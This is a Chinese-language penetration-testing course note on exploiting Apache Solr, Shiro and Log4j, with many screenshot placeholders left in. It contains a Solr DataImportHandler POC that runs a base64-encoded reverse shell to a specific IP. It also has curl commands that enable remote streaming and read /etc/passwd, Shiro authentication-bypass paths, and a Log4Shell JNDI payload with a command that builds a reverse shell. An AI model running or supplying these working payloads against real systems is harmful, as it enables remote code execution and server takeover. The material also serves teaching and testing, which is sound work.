082-服务攻防-J2EE组件安全&solr&shiro&log4j等

知识点:

1、J2EE-组件安全-Solr-全文搜索

2、J2EE-组件安全-Shiro-身份验证

3、J2EE-组件安全-Log4J-日志记录

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

常见语言开发组件:(Java):Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam等。

J2EE-组件Solr-本地demo&CVE

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

黑盒特征:图标及端口8983

image-20250710123332336

image-20250710123350620

命令执行(CVE-2019-17558)

影响版本:[Apache Solr](https://so.csdn.net/so/search?q=Apache Solr&spm=1001.2101.3001.7020) 5.0.0版本至8.3.1

利用项目:https://github.com/jas502n/solr_rce

image-20250710124050504

远程命令执行漏洞(CVE-2019-0193)
影响版本:Apache Solr < 8.2.0版本

https://vulhub.org/#/environments/solr/CVE-2019-0193/

条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)
image-20250710125450903

image-20250710125459861

条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

image-20250710125904453

选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

image-20250710130127929

image-20250710130309888

Apache Solr 文件读取&SSRF (CVE-2021-27905)

全版本官方拒绝修复漏洞

获取数据库名

1
2
http://IP:端口/solr/admin/cores?indexInfo=false&wt=json

image-20250710131242685

image-20250710131456538

访问触发POC

1
2
3
4
curl -i -s -k -X $'POST' \
{% raw %}
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://47.94.236.117:8983/solr/demo/config'

image-20250710131712145

任意文件读取

1
2
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

image-20250710131816264

J2EE-组件Shiro-本地demo&CVE

Java安全框架,能够用于身份验证、授权、加密和会话管理。

黑盒特征:数据包cookie里面rememberMe

白盒审计:看调用的shiro库对应版本是否爆过漏洞

历史漏洞:https://avd.aliyun.com/search?q=Shiro

image-20250710132215429

image-20250710132447980

image-20250710133818150

image-20250710133828709

CVE_2016_4437 Shiro-550+Shiro-721(RCE)

影响范围:Apache Shiro <= 1.2.4

工具直接搜哈

image-20250710134406525

image-20250710134514848

image-20250710134544157

CVE-2020-11989(身份认证绕过)

Poc:/admin/%20

影响范围:Apache Shiro < 1.7.1

image-20250710134753555

image-20250710134717723

image-20250710134844584

CVE-2020-1957(身份认证绕过)

Poc:/xxx/..;/admin/

影响范围:Apache Shiro < 1.5.3

CVE-2022-32532(身份验证绕过)

Poc: /permit/any

/permit/a%0any可绕过,需要依赖代码具体写法,无法自动化,风险较低。

影响范围:Apache Shiro < 1.9.1

J2EE-组件Log4j-本地demo&CVE

Apache的一个开源项目,是一个基于Java的日志记录框架。

黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8})

Log4j2远程命令执行(CVE-2021-44228

漏洞影响的产品版本包括:Apache Log4j2 2.0 - 2.15.0-rc1

image-20250710135839416

image-20250710135624986

image-20250710135715247

image-20250710135732865

生成反弹Shell的JNDI注入

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

image-20250710140003952

image-20250710140018660

构造JNDI注入Payload提交

1
2
${jndi:rmi://47.94.236.117:1099/osutj8}

image-20250710140214249

image-20250710140302463

image-20250710140333648

image-20250710140410395

image-20250710140427755

image-20250710140442471